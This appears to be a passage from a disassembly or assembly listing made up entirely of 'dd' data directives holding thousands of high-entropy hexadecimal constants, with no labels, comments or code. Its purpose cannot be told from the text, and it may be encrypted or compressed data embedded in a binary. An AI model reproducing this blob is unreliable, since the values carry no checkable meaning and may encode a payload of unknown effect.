		dd 0C0D354E7h, 0F72C52D2h, 8201579Dh, 9B19908Dh, 0C6D8E196h
		dd 5DED7ABDh, 0B9CAD15Dh, 0C0AB6082h, 0A90B0542h, 0D36A5DC5h
		dd 1104BB71h, 0A43AE3BAh, 2A581209h, 3FFE3FF5h,	6868322Dh
		dd 0E97EE295h, 526B9F22h, 0A117D735h, 66D6E5C3h, 50D661ACh
		dd 96FB035Ch, 0F2C38F0Fh, 0E917869h, 7CC0D4A0h,	733E1DC3h
		dd 830B6454h, 0AF090951h, 0C4DD8D29h, 83B9CD7Bh, 190C4DCh
		dd 3C83981Dh, 7F48C958h, 41ABC046h, 5AEF840Bh, 542FEB93h
		dd 2A8E6A98h, 7E227091h, 0C057F53Bh, 52AA0989h,	8FA81B2Fh
		dd 26BD19FFh, 0B2939B99h, 0DBC74631h, 0F73936C2h, 460FB69Eh
		dd 85AF16DAh, 5197A3ABh, 0A6A6A95Ch, 0F01AB8F6h, 4D63F656h
		dd 0D6B72AAFh, 26BF9A52h, 6409C139h, 0E7871EC0h, 72C535C7h
		dd 8B26522Fh, 0DA0D9A49h, 0ED20BD6Bh, 0FD084FCAh, 717487F5h
		dd 838F9590h, 0C341356Dh, 86D68BA3h, 0A7590D0Dh, 454F75ABh
		dd 0EAC615D8h, 0B94302F8h, 256D418Fh, 0FBBBDA61h, 0E6AB03CBh
		dd 0E8BA79BDh, 4A746A46h, 4F1CF7D2h, 0EF1276E7h, 0CAECE7BBh
		dd 0B5798085h, 5A28357Fh, 343A498Fh, 6CA43EE0h,	327F4CE4h
		dd 6DD6045h, 806D7136h,	0C785FDDDh, 64E70AB4h, 2A187B89h
		dd 1B51BF42h, 6CCDF0F2h, 0DE21DA20h, 7CEAFE99h,	700995D8h
		dd 449B994Ah, 0F77D60F3h, 3D6C6A86h, 0F7CC00A1h, 0C8044547h
		dd 0DD38FA13h, 659FD4E7h, 6A77A633h, 1904A6B9h,	5FE7F02h
		dd 8AEB7D8Ah, 0DB75F0F6h, 0FB1199EEh, 95D37136h, 6C97BB6Dh
		dd 76240268h, 693EBD8Bh, 2E9CF5E8h, 1F4F62CFh, 407EDACDh
		dd 0ABA5E1C8h, 3CB50456h, 0E10C3A95h, 0F042E3E5h, 0F6550919h
		dd 69E80265h, 0D7BA45Bh, 0B13CA105h, 0CA5DCB10h, 8A4EEA7Ah
		dd 35E7662Dh, 0ECE4E5D2h, 1111A7BCh, 0B499E9C4h, 0F69BE112h
		dd 230504ABh, 8690C8DEh, 8166643h, 1D6813F9h, 0C69ADDD3h
		dd 8AD93A1Fh, 54CD997Dh, 34A032A0h, 4CDBC3E5h, 0DA82A7D8h
		dd 6837F9C9h, 682A6892h, 79D246E6h, 0CE48DDCAh,	6E7B2232h
		dd 9C048130h, 9A6C6B9Ah, 280BE708h, 605F472h, 7CED551Bh
		dd 0F75E55BFh, 1A89C733h, 35C43A91h, 0C8D6C51Ch, 4AB45104h
		dd 0EAD089C7h, 0C124F57Ah, 43B2C7E6h, 0B5F3972h, 410EA1BEh
		dd 0C425FEEh, 2BC3C1EEh, 9B95EE49h, 26D3B245h, 0BB02F4BCh
		dd 5A8660C3h, 66113270h, 92E3AC34h, 89379C43h, 99A127E3h
		dd 173EBEC6h, 5E0539ECh, 0EC68A493h, 984E0000h,	87957167h
		dd 73A59689h, 0B07AFDB3h, 82666EB9h, 51BC36F3h,	0DBB0B19Bh
		dd 0C0129E64h, 6710C3C2h, 0E90E3A5Bh, 0DC355842h, 0ED43E38Fh
		dd 42C95355h, 0FF3BA87Eh, 2C2B187Bh, 0C27D8683h, 97FCADC8h
		dd 887AFFCFh, 90D38023h, 0A69828C6h, 0AD0B2EB0h, 62F45F70h
		dd 2E54A692h, 99C59C91h, 0D4F49AFCh, 42A6BDDAh,	7D503FCAh
		dd 0B0691C36h, 2D0AFAFCh, 6D4D4540h, 59CBE9A4h,	0F277DDB4h
		dd 0AB3449F1h, 0A20CAF21h, 62B54BC0h, 44C86B1Ch, 456D9C95h
		dd 67782861h, 0DB22D1Bh, 7BAF2E6Ah, 651730FDh, 0DFF6F9F7h
		dd 0C54552C4h, 1B962CE7h, 41E6864Dh, 1AC9AFC0h,	5FA986F0h
		dd 7F8D4D34h, 70703037h, 6099F411h, 46B68C9Fh, 95687ED7h
		dd 56157AE5h, 7431D69Eh, 20D6C01h, 3A951860h, 0BC753114h
		dd 0EEEA90F6h, 6946657Fh, 69D1B37Dh, 80FCAC0Ch,	0FAE8B00Eh
		dd 1471595h, 0F1512AD5h, 0C125BB2Ah, 0FF665540h, 77B47328h
		dd 9A7FCC5Dh, 58EF601Ch, 4ABE16B7h, 0CC9DB994h,	25EE5AC0h
		dd 8223D179h, 1F1072A1h, 6CF27A25h, 0B3FE5B27h,	0F7FE65Fh
		dd 5A9FBD0Dh, 88F48EAEh, 460DFD1Ch, 216B61DBh, 2EE96359h
		dd 0FC8909D8h, 0D0E28450h, 0D8B2F98Bh, 1618A066h, 0BCA9A8E1h
		dd 8B6F0BBCh, 0A1A7E040h, 0E4547h, 2DA4BAA1h, 0BAB76E21h
		dd 162E835Ah, 0B55BD053h, 0B67A6D78h, 48F7BF2Fh, 358CF042h
		dd 897294DFh, 0AE808956h, 92BB83C1h, 0C8D3BFBDh, 67D214E6h
		dd 74D8FBCAh, 1D8E85A0h, 0C7DDCDF3h, 4719435Eh,	3BC75EFCh
		dd 0C2968025h, 2C436F4Ch, 0B1A75888h, 0D032E346h, 0CE552924h
		dd 0D7838821h, 0E2FFD8C2h, 913D0CA4h, 420026Bh,	2DEB9ABBh
		dd 89B25606h, 41A7ED64h, 0A1EC95E7h, 0C7FDCBh, 0FC9AE0B9h
		dd 5717975Ah, 7B8F8BC0h, 0C756912Ah, 0B40976D2h, 17D85E2Dh
		dd 3734822h, 6A27AFAEh,	16E47412h, 0F162743Fh, 0BCD88BFh
		dd 0EE710003h, 12880242h, 6ABFCB69h, 0AB6C85A1h, 65070C3Ch
		dd 0B6E5C7B7h, 0E91CA3DAh, 0BEBC2291h, 657C450Dh, 98CCC786h
		dd 31EFE789h, 0B197AEB8h, 66703495h, 84475BACh,	47147CDAh
		dd 0C3997E6Ah, 2E315115h, 315CF7C1h, 8A180FC5h,	0C2D1EB02h
		dd 0D216F708h, 1DD6ABCBh, 0FB6711C9h, 88E54257h, 3DB549B7h
		dd 938FC683h, 45201D26h, 0A69BE123h, 437A90B1h,	1E93AA01h
		dd 79EC8C71h, 0CE7CAFDh, 6A1A3450h, 7AA32B20h, 49D39555h
		dd 0CB3182F9h, 380B766Fh, 0DB2BEAF1h, 475E2D3Bh, 0C78C3D36h
		dd 0CE65853Dh, 57EE0066h, 97551889h, 6B4194FAh,	3953784Ah
		dd 3B35E2C4h, 4FE53C18h
		dd 63EF500Ch, 0F30460Fh, 0F13E4324h, 9B167106h,	0B267B4D6h
		dd 6428023Bh, 70CC5376h, 0C76E2479h, 880B4E4Eh,	0DA1E684Ch
		dd 0BA388E4Eh, 44B90229h, 0B30C68C0h, 0E79F2CFFh, 0ECC9C3DFh
		dd 56343B85h, 0BD65B334h, 6F2426C7h, 0FD7A63Ch,	0D7C77529h
		dd 0D0341642h, 0C7415CE2h, 11CE1C1Eh, 1819D3A2h, 0DD7D1FA7h
		dd 4936B260h, 82029488h, 917F4E12h, 0D024FA79h,	3EA9305Fh
		dd 6279BC92h, 99B648ECh, 4923410Ch, 39A75A4h, 0F957782Eh
		dd 0AEA91176h, 24C4EA39h, 0C1A998E1h, 0A75A34Ah, 4B1B2DA4h
		dd 4D6E9D60h, 5C8C874Ah, 25F3B401h, 6CE299D0h, 9EECBFB4h
		dd 7163DE11h, 83BECD38h, 28F76130h, 0A65A5E02h,	1AEEC56Eh
		dd 8809B55h, 39F86114h,	5C05E52Dh, 0D4789F12h, 0BD091A35h
		dd 0A2A4A599h, 77D92303h, 0EBCE11BAh, 3BDB9EE5h, 29A2C0CBh
		dd 6D3D27C4h, 5253CE38h, 0C81389F4h, 0BBA4F7E5h, 0CD6C89B7h
		dd 0C61CD13Fh, 0BF9B1A68h, 8C6106h, 0A38C4642h,	7BF2C8A7h
		dd 943CC803h, 0F5CFD003h, 477241Fh, 9E4A39D5h, 5AD49208h
		dd 2875E118h, 54E9FB24h, 0CF4072A4h, 40298952h,	89DA817Fh
		dd 0A49EAC48h, 0F599212Dh, 0DD0F9EA8h, 0BE0704EDh, 7E55C47h
		dd 6A80C8C4h, 95D871BFh, 5E7450C0h, 6D4DC0F9h, 13756DB6h
		dd 3011DEFh, 0F489BA40h, 0CEB6E09h, 85238B22h, 46323EBDh
		dd 0B7E02FDDh, 289E78F4h, 83198602h, 0D271DC76h, 0E92B9E13h
		dd 9A30DD97h, 0FCBAFBB3h, 0B9D87584h, 1DD76C16h, 88CD051Eh
		dd 75AB2379h, 57FFB272h, 0EB55C867h, 11D59A29h,	0F79E9530h
		dd 4CAC2AD5h, 0CE1E1639h, 0F0E40DBBh, 21F9ED9Ah, 0BA26E4Ah
		dd 692A08C1h, 0FBB48D9Ah, 76CCB81Ch, 0CBC232F8h, 5A4873ECh
		dd 657FB529h, 9A00303Bh, 495D66ECh, 5F6265D1h, 0D0D8094h
		dd 0DBD795A2h, 14A07C5Fh, 0D4800484h, 7CD1970Ah, 64D5F83h
		dd 7339C625h, 86E61EBEh, 8976EC14h, 8A737242h, 4E0098FBh
		dd 0E3E39A95h, 3C02D97Ah, 0FB9D9517h, 0CAF8DE00h, 0A0EFFB5h
		dd 7316AE68h, 0ACE83F2h, 0D643DD72h, 7539CDBDh,	0A692E8E1h
		dd 5EF5DEEh, 0BE85247Ch, 189FFAE9h, 40BD4D27h, 952E80ABh
		dd 0E6A9D302h, 0F55380B2h, 726E028Fh, 3F26526Eh, 38233B60h
		dd 69BE82DFh, 0DE31AF89h, 0C505E021h, 0F2850842h, 80F69C14h
		dd 0A2A4563Ah, 0D3B36328h, 3140EF0Fh, 780AC8C7h, 9963DCD6h
		dd 0B3E9F664h, 6AF89C14h, 0BAA59FADh, 0CEDE5BDFh, 8C45B02Ch
		dd 0F93602B1h, 0BF87FD08h, 0CE5CE955h, 0AB51EA9Bh, 0E83B46DCh
		dd 654E7266h, 0C6A23F31h, 4D335683h, 69E3E06h, 0D963608Fh
		dd 68500EA8h, 808C8EA1h, 0F073BAAAh, 0F6864C61h, 1DA83F63h
		dd 0ABDE2598h, 75B5966Bh, 0D114B5E9h, 0E6A65533h, 0A28A0258h
		dd 944366DFh, 9098BAAFh, 242BC7Dh, 0B9E74E30h, 0FC71A4D9h
		dd 0C6B2C7B3h, 4FAB2D6h, 195AD274h, 0E78A96B7h,	0D8F1C840h
		dd 58387423h, 97C3BBCh,	0E861EA4Ah, 0C08844D6h,	448CF3B0h
		dd 67C75802h, 892DA3E1h, 19D8A5BDh, 0C7B9C930h,	971B6B78h
		dd 53D59D03h, 0A9815D1Bh, 0BCE263CEh, 4FBF7E88h, 9F291BECh
		dd 0C02A32F1h, 10155855h, 0A9219850h, 19C9603Bh, 0B6D99423h
		dd 0C5704218h, 229D6AB0h, 0A08FE22Fh, 277A52C0h, 99E1A69Dh
		dd 28DC7384h, 0B4DA422Fh, 0EBA9FA43h, 1235509Dh, 7C3ED3Dh
		dd 824E163Ah, 0C7743D08h, 0CF565A6Bh, 862189D3h, 0BEAEACE3h
		dd 4CA05E66h, 0D5085EDh, 23F36CEFh, 0E1F68411h,	7F3EB04h
		dd 0CACA285Bh, 0A14D7520h, 0F0147D9h, 0D5BEA092h, 0BA1C56BCh
		dd 4404AAF7h, 20442FD8h, 2B57E4D1h, 698CE4Ch, 0B53C988Ah
		dd 74C26A7Ch, 0CCE51C63h, 31775E8Ch, 26C925E3h,	3DCD84A0h
		dd 0CCAAC46Ch, 0AA03CE2h, 0B47C367Dh, 1C2A3C8Eh, 0F2E36207h
		dd 765759E6h, 3E6302F7h, 0A84EC8E9h, 36E0691Eh,	4D69A394h
		dd 3179E295h, 0B373A1E8h, 2C79307Eh, 0EDFE7F44h, 6EBEFF6Fh
		dd 341BBFF2h, 0ED2F1C4Dh, 0B6E5CE83h, 245BF243h, 0BD8045EBh
		dd 3CB30E2Eh, 78503262h, 4FBD9410h, 1DB16634h, 0BDB0E5D9h
		dd 0F3715A5Fh, 1D04C24Eh, 4C5A8E09h, 7C0E88C6h,	0B09F04A2h
		dd 12D475D4h, 8846ED01h, 806A322h, 9A8A7E18h, 0C2F1A0FFh
		dd 0AF2B2F11h, 8077EC0Eh, 0CD08A05Dh, 0B8BF4C5Eh, 0A9F72E77h
		dd 3E0A208Bh, 0D3760B7h, 0E88DED54h, 0C6A3B9Fh,	0E7952329h
		dd 558F6CC0h, 7EF17EEDh, 1FCDD458h, 0C5659490h,	7C7E33E4h
		dd 23692E86h, 0B669FAABh, 83222FD3h, 1B9A7CBh, 7BDAC4C3h
		dd 9084ED7Eh, 0ED8457BEh, 0F80D4Ah, 4D5772F7h, 0A008ADBh
		dd 40B8CDEh, 7FAED8Fh, 0FFA6BAFDh, 0F40740AEh, 6630421h
		dd 0BD9CCDFEh, 0C39D5E6Ch, 0D51C1DEEh, 0AFC51853h, 0E68CA1FBh
		dd 0D9D016CDh, 0F1E35F1Ch, 615C6C78h, 0B54496FAh, 7E6B328Fh
		dd 1EF8FF63h, 0A347255Bh, 466CD0D6h, 7A27C9C0h,	6A85FF01h
		dd 81DA7E6Dh, 4A02F965h, 0B326F82h, 8202DC2h, 0C6038721h
		dd 0EEFF1DADh, 0CF79A7DCh, 0A999DDB1h, 0F13F43A1h, 642048A5h
		dd 342EA1AAh, 7220F534h, 2490229Ah, 434FC0B8h, 877B366Fh
		dd 6E06A88h, 0C54FC6Eh,	0CC1A127h, 4E7D3537h, 6FD03520h
		dd 5280A895h, 4B02004Eh, 76FE933h, 74AE106h, 0E4BFA6BAh
		dd 6CD4F48Dh, 0A2A02E7h, 269A4E52h, 929456CAh, 12D61538h
		dd 5D11F53h, 8627EBF4h,	33348FE6h, 7C97F1BFh, 1E1049C0h
		dd 0F64396C5h, 7BB96A61h, 0BA83B9BBh, 0FB3998Fh, 79958D53h
		dd 28922E68h, 602DF9F4h, 6448D53Fh, 0DDFB0C9Dh,	114831C2h
		dd 0A658D4AAh, 0EB14FF02h, 0ED35ABE8h, 4DA3E6CBh, 0D7CA01A5h
		dd 90ED72C0h, 0E6CA82A3h, 0ECDE3AF4h, 263388FCh, 44025EE9h
		dd 20D3187h, 0C93BF722h, 18563EC5h, 69D53CF1h, 0D5A849CAh
		dd 4325ABE7h, 0A7610955h, 119FBC09h, 4BB4AA1Dh,	666CF12Ch
		dd 0A1E8FB8Bh, 3816F0A1h, 51962878h, 4DB82E23h,	0DBDDEF26h
		dd 4A740429h, 1EDE1B62h, 5114D3C4h, 9FA44B66h, 0A572E18Ah
		dd 96A77AF2h, 0B12CC8ABh, 69A5B080h, 3BB11ED6h,	0D789B96h
		dd 699051AEh, 0A6E6E9B8h, 31E2293Eh, 0C091DC59h, 77EB6CA0h
		dd 29C969D2h, 0E9BEE74Dh, 3E201EAh, 5FB0925Bh, 23E1AA7h
		dd 0FABC0F7Bh, 0E2A2C981h, 856C420Eh, 9D23D1D4h, 1230AF9Ah
		dd 9E37BD2Bh, 10956D1Eh, 2C509223h, 5F6C996Fh, 0AC8347B9h
		dd 0A37A46AEh, 3E7224D4h, 0DB93A881h, 3B003177h, 4D139FB2h
		dd 0B1A42843h, 0CFB09886h, 22A4E3ECh, 0E9CCF962h, 1741E12Bh
		dd 6197EC30h, 0F89F7372h, 7E671A91h, 2FDBFF8Bh,	0D3DF50CAh
		dd 82764679h, 0E763F370h, 0EFE50E04h, 36D19ADAh, 0D354FA3Ch
		dd 0E48BDC32h, 588800BCh, 0DB2A6FB4h, 7590C9A4h, 0F3751D0Ah
		dd 8EFD06D5h, 7880AF5Ah, 60AA8549h, 86D5F0B6h, 0DBB54F98h
		dd 1E1A4D8Ah, 21073618h, 0A9BFCC98h, 45C3C9F0h,	0B2628892h
		dd 8D920AD2h, 0CF841176h, 8ADC1CE9h, 1BC82FAh, 3556168h
		dd 8A526E81h, 88611733h, 50632903h, 84E9FB88h, 348AF48Fh
		dd 3AADF922h, 6EE56D88h, 769DCAFAh, 0C43D3237h,	0FDBE490Fh
		dd 23723155h, 1647F26Fh, 0C5471A26h, 0B08AA555h, 462BF556h
		dd 51AB9B2h, 17C1A65Fh,	513C2EBCh, 611CCBD3h, 0FF04632Fh
		dd 9615C820h, 0A8F8B595h, 0F9D0CCECh, 0B4CF13CAh, 0B2DB042Eh
		dd 3771A6C9h, 0F7A421FAh, 68A6A4BFh, 4EE2BE48h,	6ABEAB2Bh
		dd 6FF8920Fh, 0F8F8FD61h, 1AC7A2E7h, 734F2042h,	0B4F78D09h
		dd 0DE01CAF3h, 0BC888B83h
		dd 0E3FFD25Dh, 0C2E0660Bh, 8AF659D8h, 0D8C4AC17h, 238F67D3h
		dd 0A0365581h, 7FE2FAECh, 0D4738F68h, 319F7DAh,	3461DE46h
		dd 1C3FD252h, 0EA98BD61h, 0DA28475Bh, 51BCAD46h, 0D295482h
		dd 0DE222D64h, 0A592C268h, 0CBD3C168h, 9346717Bh, 23CBF798h
		dd 373FD223h, 0B131DAB8h, 93438426h, 9D668629h,	0E1E06D2h
		dd 0DFC75323h, 34CBC7h,	2C7E8342h, 320C609Ch, 690ABFA1h
		dd 0E56D262Bh, 5FFB2A4Ah, 0C690B192h, 0E092C97h, 0AF027684h
		dd 0AB63C1ADh, 1088B17Fh, 44EF41E1h, 3E67F738h,	0D61C930Eh
		dd 7FD0AD59h, 248E8F85h, 0D2B71A5Eh, 0F340EEA5h, 0C7DFD21Bh
		dd 36ACB0B1h, 79960A22h, 5DB9FB56h, 0F1B898DBh,	27497056h
		dd 621C39FFh, 8405C184h, 2BF4581Ch, 0F8650C2h, 96D93466h
		dd 90B4D28Fh, 9C46AE9Ah, 0E222B824h, 2F0C8078h,	0C1992F00h
		dd 2C6260FDh, 2B324113h, 0B20142A4h, 0BB71A772h, 0C162EF66h
		dd 5CB885Ch, 4A1DF530h,	47A1AE40h, 0EC91F88Eh, 79358F8Dh
		dd 7D5FF42Bh, 1309872Ah, 0DF885025h, 592D2896h,	0C20159A8h
		dd 2789B165h, 0AA190812h, 70DB5832h, 29C3B3BCh,	0B2E969CEh
		dd 328FF5CDh, 1DA5EA55h, 5D49849h, 299A7ACFh, 0BF13A9C7h
		dd 92007AD3h, 0E501661Fh, 4FC24ABDh, 97F13FE9h,	67BE2739h
		dd 0A8C2B141h, 86BBB768h, 0C19FEC4Ch, 4D06ACAh,	0DCDF9E19h
		dd 735D389h, 0FF2674F7h, 1A306F2Eh, 9E100F7Dh, 0E83F3C7Eh
		dd 587AC67Ch, 8FA8E25Ah, 8F022607h, 0E540CE6Bh,	2B68D9B8h
		dd 0E758E203h, 68B1E958h, 9145D7EEh, 0AACBD3Ah,	0E44DF2FDh
		dd 92C988C3h, 52517A4Dh, 0B1DC986Bh, 0B7174823h, 5DED807Ah
		dd 0F9EC1ED1h, 82422406h, 5E7DE705h, 218D40BFh,	0F2500D65h
		dd 0F0E668D3h, 45379223h, 0A02CC630h, 44D79F8Ah, 5B40E56Bh
		dd 1BE8987Ch, 0D15FCC65h, 1C2C33F8h, 0D314EB7Dh, 0A55C48C5h
		dd 493F99D4h, 0FA37AF46h, 83B20266h, 0B8FDFB2Ah, 7EC8AA42h
		dd 5E45C32Eh, 9E3BE4EDh, 99EDDCEDh, 0DE05DE27h,	0AB2C73BBh
		dd 0E2D6F073h, 0B0C4ACDCh, 5C832E4Fh, 4974D011h, 6BC48691h
		dd 0EE3E91E3h, 0E6CDCDDAh, 5CEF4C1Eh, 0AC8FCBFh, 39222D84h
		dd 98A7A92Ah, 27FDE926h, 17FEA0B2h, 0CE66FCB5h,	0C5B6D099h
		dd 3A5169B8h, 8A8C58DCh, 0B7FA1004h, 3C17FA63h,	446209F7h
		dd 98641222h, 40A3D585h, 6DAFC4A2h, 0B7CF8341h,	0A3FFAEBDh
		dd 97A771F2h, 0B4F27A16h, 0AD0D985h, 6F910CDh, 60712242h
		dd 54C9758Fh, 0FF34B6A3h, 0EA86B086h, 4B8B8350h, 704BC65Dh
		dd 80E5FA78h, 0A8FED0EDh, 7842D754h, 7460D948h,	521ED5B4h
		dd 0DEED8D5Dh, 7A350C4Ah, 7A656D9Fh, 0D8394E31h, 0C6F146B9h
		dd 0E15E1303h, 0BEE0F63h, 0AE7F2EFAh, 0CD9A1B98h, 0B509E9E4h
		dd 0D9C7D8EAh, 61CB2C21h, 0FF0BB8B9h, 0AAEC71B9h, 0E8733F97h
		dd 2DA90868h, 0F3F489F4h, 2A656241h, 0EF1C92AEh, 9F2C809Dh
		dd 5527A79Fh, 0DD088FA2h, 17FE3C8Fh, 496F4E2Ah,	0F5B3CF4Bh
		dd 0E7F32B25h, 0C7A44CDBh, 222124CAh, 0BA4A5995h, 11A83FEh
		dd 37764E43h, 9E673549h, 99A63D61h, 0C16CC0CFh,	683B77AFh
		dd 0B842A3FFh, 2AA37C8Eh, 3B9610B9h, 0FF453737h, 0B843C166h
		dd 3A8EE915h, 0CBCA5589h, 3441306Ah, 0FC3121A8h, 447FF65h
		dd 2865747Fh, 0C60B1AEEh, 819F062Ah, 8B4E60DCh,	5E97F9ADh
		dd 7A9098C9h, 8E245161h, 8C2D9B58h, 60979BADh, 0A7D69E53h
		dd 0DAD69A4Fh, 8FF392F3h, 5B337290h, 2DF2F377h,	93841AA2h
		dd 0B389CB47h, 0D8FADAD9h, 4E115E6Fh, 8F80FC1Eh, 5EAFF9B9h
		dd 962CCD34h, 0BF2C9F8Bh, 1F003FC9h, 0E6697F95h, 3D8F4B98h
		dd 0D8A199CDh, 1E1EABDCh, 0D1C60AA5h, 0CF1402A3h, 0A6E477FEh
		dd 9A5F7FCCh, 0BC56069Dh, 0F65B16CFh, 45A67C6Eh, 5AA15BE3h
		dd 84A1937Bh, 11B1AD54h, 700FE19Bh, 5652341Dh, 0F9AC2B4Fh
		dd 22069EB3h, 0D97FB95h, 5476B660h, 0F9881B73h,	97B8ED30h
		dd 88C70717h, 7D1F0D68h, 0B2A961B7h, 3D6E01E9h,	9806CE44h
		dd 985FC1C3h, 0E9F8B741h, 61F448A9h, 14761124h,	3D2934D1h
		dd 0B358B880h, 0A3C9E748h, 440C95C6h, 8860E2FEh, 0DAC06186h
		dd 65BFE289h, 0AB039E7h, 87EA4E9Bh, 0DA754B90h,	7D5D29DFh
		dd 0AFC96C7h, 0DBBB7005h, 93617C91h, 5D8DD595h,	0EF59EF0Dh
		dd 0A1DF3819h, 5D4CC8EFh, 5FE13E83h, 8D4EF242h,	73B95843h
		dd 3367DDEBh, 47DC8CFFh, 0EB8C7C09h, 0EE4A0BDBh, 21FFF32Ah
		dd 0C72A69A7h, 89097EA9h, 0D6C30E60h, 0B5D584Bh, 0FDC84111h
		dd 0FC091AE6h, 618AD5Eh, 0F39824A9h, 401B29BDh,	0A4E5A14Eh
		dd 0CAC18119h, 8970BC7h, 0EC8C1ECDh, 96994272h,	87EA7086h
		dd 565AD92h, 82100368h,	0AD1BCE40h, 0BB10436Fh,	7ECE60E7h
		dd 8F4135CFh, 0EE4EA76Ah, 2CE26287h, 0C3E69196h, 82AA67D6h
		dd 50E308A0h, 447DF71Ch, 924EA13Bh, 72B3890Ah, 9853652Ch
		dd 0C8E4F8C0h, 0FE26C27Dh, 398CBCBBh, 0A0653E8Fh, 57AED83Ch
		dd 44265E83h, 0D247EB9Fh, 0CD25A36Fh, 0DD8BA153h, 418924CBh
		dd 0EE925D2Bh, 49DB8BAFh, 0CD6438F2h, 0D5BB9CD4h, 2243F59Fh
		dd 0FD4B15CFh, 0E4C843FAh, 0E19FE4B8h, 0D6C6C76Fh, 276E357h
		dd 0FCA96BD8h, 8BD4507Fh, 50F283F6h, 39CB3B2Dh,	1FBEC911h
		dd 577F795Bh, 0E300F5F8h, 9E820991h, 0B8F6B465h, 2B16E19Fh
		dd 0AAB01D27h, 58604F2h, 0BB30C73Fh, 9EED7487h,	0DB225CFBh
		dd 0CC7886F9h, 77E3EC58h, 0B5B69FAEh, 0B74744A5h, 29F0A4Ah
		dd 0DF32C6F7h, 0D11B7672h, 6FF81C9Ah, 0FBD31062h, 0E986316Dh
		dd 0FB4ACF8Dh, 1565EAF2h, 7B2EBD85h, 28F5CCA8h,	0DF9FBCAAh
		dd 247B116h, 253876FAh,	0C8DAD6C6h, 7C0F69B2h, 53A9A0A8h
		dd 0F8A9723Bh, 349FD09Eh, 63FB446Bh, 527F3A13h,	80C7F3E8h
		dd 0B4AC71A6h, 122F5D06h, 0D7D9A50Ch, 394EF158h, 36CB8152h
		dd 0D61054FDh, 0B2AAC1Ah, 46DE2963h, 2A1BAA9h, 6DB963Bh
		dd 3A155724h, 0AA4D942Fh, 20C171C3h, 5F70D57Dh,	0AACC8046h
		dd 41A3230Ch, 7DD0B4B2h, 2A320987h, 425C0F4Fh, 0DD7B2B31h
		dd 867FC3D9h, 65C85312h, 0C106C422h, 9E5B89Ch, 0B324282Ah
		dd 0A5214489h, 0DF65F065h, 5B45FE5Bh, 9740E8A1h, 0D7F68417h
		dd 7F114CF6h, 0EC7F2EC2h, 0CA299DE5h, 0CF068394h, 3CA89BC6h
		dd 9F80D259h, 1E1989DFh, 1B53C998h, 3C215483h, 1433A356h
		dd 7BDCD586h, 41DB4F65h, 924C405Eh, 0D925F425h,	809DAE7Fh
		dd 6E8FE0A1h, 0B1E32365h, 4FEE6D9Bh, 0E016F701h, 0B8CE3FA5h
		dd 441A34B2h, 73054340h, 9A4F3DD8h, 6E641E57h, 0BCC88775h
		dd 0EA9F8A3Ch, 44148775h, 338E7E21h, 83360D62h,	0B1EC769Eh
		dd 0A66CCCC6h, 0BB3FF4EEh, 57E1BEFBh, 0D2EB21B2h, 5FEDB73Fh
		dd 8A492008h, 1352F12Bh, 0F48A0F24h, 0BB0F912Bh, 0C4A72E71h
		dd 6A8C39DCh, 84AB1FDh,	16E4E58Eh, 1E37664Eh, 2BD9F537h
		dd 9FC087C8h, 0C52E685Eh, 6595428Ah, 93F44B68h,	87E63D9Ch
		dd 0B9A748Fh, 8A619035h, 0D9DCE64Eh, 80167862h,	3FFD268Ch
		dd 381983F3h, 0DF10EDBDh, 5C538938h, 9E7BD4A0h,	71477B97h
		dd 9B3BE09Eh, 2AF8E75Ch, 0AD7DDF7h, 0A10D85F0h,	9772DF47h
		dd 92C156E4h, 0C91DFF2Dh, 6B1EF741h, 7A8D706Dh,	0B1ED84CDh
		dd 0EBCB9C6Fh, 74F136D5h, 9A815518h, 0E6813E7Ch, 39C5D1C7h
		dd 0BEA2A0F2h, 0C3AE14F1h, 0C3C8884Dh, 797240F9h, 1D4D753Bh
		dd 0A2D46006h, 42619F21h, 3B661DD5h, 14382E37h,	33454168h
		dd 0CE268A68h, 146A47F7h
		dd 0B9E5DB54h, 6097B56Ah, 9F8821E5h, 12C4DF7Ch,	71882D24h
		dd 0AF1C1877h, 42755D96h, 0F5F0032Bh, 5B75075Eh, 12BCCFA9h
		dd 0C83F361h, 1B1C5EFDh, 1C300D7Ah, 39CF71FCh, 832EF7FBh
		dd 80365D38h, 0EDAF9B7Ah, 0B59BA087h, 470820A0h, 0B1DB7655h
		dd 0AF433AD1h, 0AA16F1DCh, 6704A7Fh, 77510601h,	0CB0AFF9Fh
		dd 0AA876E42h, 65BE05E4h, 0E380D734h, 0D986BB0Ch, 90713CEAh
		dd 9BF80F66h, 3C204E6h,	5C835830h, 24E33098h, 0BD7EDE8Eh
		dd 7A328E46h, 5F285353h, 356881C3h, 0ECB91171h,	4473BE34h
		dd 0B3C53A70h, 9F029F47h, 6B7F65FCh, 24D841B0h,	0E64DDBEAh
		dd 0CFE0D803h, 390A3A77h, 0AB24905Ah, 0E6CBD38h, 9DA40727h
		dd 9017C2CDh, 0E9278C5Ch, 0D56643B3h, 0FFDC1935h, 3C180840h
		dd 0ACAB6B5Ah, 27A85CCDh, 0E7444209h, 978D1A20h, 0E0552782h
		dd 6606318Ch, 0D8139A55h, 615E1261h, 40221FE7h,	0B99F9A62h
		dd 0BC427E8Ch, 2FC14EF4h, 0F4049B3Eh, 8E0BA0EFh, 5BFBBD89h
		dd 13070FAh, 34E94E24h,	6D084FFBh, 1C5819ACh, 0EAB733CAh
		dd 4732721Fh, 27BB9137h, 0D0490540h, 7B9C3A69h,	6AE949A2h
		dd 25A96A7Eh, 0A709A6B2h, 0E53B9Ah, 0EAC7064Eh,	0A1E1FE85h
		dd 3E1D9768h, 6B5BEC65h, 9550B853h, 839DFFF2h, 2A76F308h
		dd 4C7FBD96h, 4C823D08h, 0BAD8C6FBh, 6CA913F3h,	6CC3DC5Eh
		dd 813186C9h, 0CD7757CBh, 4DE21B24h, 0FFC14130h, 124280F4h
		dd 84EFA4BDh, 7012CACBh, 527ACF1Bh, 0D3A30FF1h,	0EECA0B57h
		dd 22582BA9h, 442F2CFAh, 14ECA24Ah, 0CA599809h,	0E2070A69h
		dd 7AB02824h, 665A1576h, 2650C48Ch, 2A4A9411h, 2EC8EB54h
		dd 9A03F71Eh, 0F6A7BC86h, 8BE1150Ah, 0AE659E45h, 0D7E26508h
		dd 0D957FE32h, 0C1A833F0h, 0B0344C2Ch, 0AB23B6B9h, 43201524h
		dd 90C46A19h, 68FE0F7Fh, 0E7796BA8h, 9233C686h,	0FCD552Eh
		dd 0F437692Eh, 0ED8C64A1h, 0C05079AAh, 5A4EA830h, 7AF2665Ah
		dd 5BC9F00h, 4BB57CA7h,	2B747D2h, 6C63B588h, 5C31E03Fh
		dd 0FF005232h, 0DC55CAEFh, 0BD066DB6h, 9CA3C61Dh, 385F4E3Ah
